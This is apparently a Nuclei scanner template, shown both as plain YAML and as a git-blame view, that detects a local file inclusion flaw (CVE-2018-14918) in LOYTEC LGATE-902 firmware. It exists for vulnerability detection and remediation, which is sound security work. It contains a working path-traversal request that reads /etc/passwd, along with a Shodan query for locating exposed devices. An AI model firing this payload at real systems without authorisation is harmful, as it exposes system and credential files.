nuclei-templates/http/cves/2018/CVE-2018-14918.yaml

id: CVE-2018-14918

info:
  name: LOYTEC LGATE-902 6.3.2 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    LOYTEC LGATE-902 6.3.2 is susceptible to local file inclusion which could allow an attacker to manipulate path references and access files and directories (including critical system files) that are stored outside the root folder of the web application running on the device. This can be used to read and configuration files containing, e.g., usernames and passwords.
  remediation: |
    Apply the latest firmware update provided by LOYTEC to fix the LFI vulnerability.
  reference:
    - https://seclists.org/fulldisclosure/2019/Apr/12
    - http://packetstormsecurity.com/files/152453/Loytec-LGATE-902-XSS-Traversal-File-Deletion.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-14918
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-14918
    cwe-id: CWE-22
    epss-score: 0.44897
    epss-percentile: 0.97046
    cpe: cpe:2.3:o:loytec:lgate-902_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: loytec
    product: lgate-902_firmware
    shodan-query: http.html:"LGATE-902"
  tags: loytec,lfi,seclists,packetstorm,cve,cve2018,lgate

http:
  - method: GET
    path:
      - "{{BaseURL}}/webui/file_guest?path=/var/www/documentation/../../../../../etc/passwd&flags=1152"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100cbe3295ee5e6574d7eb73d9160a3121080960ad83a3e0cb3fa9be183be9fe5e8022100db1bc0331ac2a2ca580ed7f98fb24ee38117d8dd72f88f05fdc60c7cb3749a31:922c64590222798bb761d5b6d8e72950
Create CVE-2018-14918.yaml 2022-06-16 09:02:28 +00:00			`id: CVE-2018-14918`

			`info:`
Dashboard Content Enhancements Dashboard Content Enhancements 2022-07-08 19:07:55 +00:00			`name: LOYTEC LGATE-902 6.3.2 - Local File Inclusion`
Create CVE-2018-14918.yaml 2022-06-16 09:02:28 +00:00			`author: 0x_Akoko`
			`severity: high`
Update and rename CVE-2018-14918.yaml to cves/2018/CVE-2018-14918.yaml 2022-06-17 06:23:14 +00:00			`description: \|`
Dashboard Content Enhancements Dashboard Content Enhancements 2022-07-08 19:07:55 +00:00			`LOYTEC LGATE-902 6.3.2 is susceptible to local file inclusion which could allow an attacker to manipulate path references and access files and directories (including critical system files) that are stored outside the root folder of the web application running on the device. This can be used to read and configuration files containing, e.g., usernames and passwords.`
updated 2018 CVEs 2023-09-06 12:57:14 +00:00			`remediation: \|`
			`Apply the latest firmware update provided by LOYTEC to fix the LFI vulnerability.`
Create CVE-2018-14918.yaml 2022-06-16 09:02:28 +00:00			`reference:`
			`- https://seclists.org/fulldisclosure/2019/Apr/12`
Auto Generated CVE annotations [Mon Jun 20 04:56:43 UTC 2022] :robot: 2022-06-20 04:56:43 +00:00			`- http://packetstormsecurity.com/files/152453/Loytec-LGATE-902-XSS-Traversal-File-Deletion.html`
Dashboard Content Enhancements Dashboard Content Enhancements 2022-07-08 19:07:55 +00:00			`- https://nvd.nist.gov/vuln/detail/CVE-2018-14918`
Create CVE-2018-14918.yaml 2022-06-16 09:02:28 +00:00			`classification:`
			`cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`
			`cvss-score: 7.5`
			`cve-id: CVE-2018-14918`
			`cwe-id: CWE-22`
TemplateMan Update [Sun Oct 22 12:16:23 UTC 2023] :robot: 2023-10-22 12:16:24 +00:00			`epss-score: 0.44897`
TemplateMan Update [Tue Dec 12 11:07:51 UTC 2023] :robot: 2023-12-12 11:07:52 +00:00			`epss-percentile: 0.97046`
updated 2018 CVEs 2023-09-06 12:57:14 +00:00			`cpe: cpe:2.3:o:loytec:lgate-902_firmware::::::::`
Update and rename CVE-2018-14918.yaml to cves/2018/CVE-2018-14918.yaml 2022-06-17 06:23:14 +00:00			`metadata:`
boolean format update 2023-06-04 08:13:42 +00:00			`verified: true`
updated 2018 CVEs 2023-09-06 12:57:14 +00:00			`max-request: 1`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`vendor: loytec`
			`product: lgate-902_firmware`
updated 2018 CVEs 2023-09-06 12:57:14 +00:00			`shodan-query: http.html:"LGATE-902"`
Auto Generated CVE annotations [Sat Aug 27 04:41:18 UTC 2022] :robot: 2022-08-27 04:41:18 +00:00			`tags: loytec,lfi,seclists,packetstorm,cve,cve2018,lgate`
Create CVE-2018-14918.yaml 2022-06-16 09:02:28 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> 2023-04-27 04:28:59 +00:00			`http:`
Create CVE-2018-14918.yaml 2022-06-16 09:02:28 +00:00			`- method: GET`
			`path:`
			`- "{{BaseURL}}/webui/file_guest?path=/var/www/documentation/../../../../../etc/passwd&flags=1152"`

added missing matcher condition 2022-06-20 19:20:56 +00:00			`matchers-condition: and`
Create CVE-2018-14918.yaml 2022-06-16 09:02:28 +00:00			`matchers:`
			`- type: regex`
Update and rename CVE-2018-14918.yaml to cves/2018/CVE-2018-14918.yaml 2022-06-17 06:23:14 +00:00			`part: body`
Create CVE-2018-14918.yaml 2022-06-16 09:02:28 +00:00			`regex:`
			`- "root:.*:0:0:"`
Update and rename CVE-2018-14918.yaml to cves/2018/CVE-2018-14918.yaml 2022-06-17 06:23:14 +00:00
			`- type: status`
			`status:`
			`- 200`
Auto Template Signing [Tue Dec 12 12:02:03 UTC 2023] :robot: 2023-12-12 12:02:03 +00:00			`# digest: 4b0a00483046022100cbe3295ee5e6574d7eb73d9160a3121080960ad83a3e0cb3fa9be183be9fe5e8022100db1bc0331ac2a2ca580ed7f98fb24ee38117d8dd72f88f05fdc60c7cb3749a31:922c64590222798bb761d5b6d8e72950`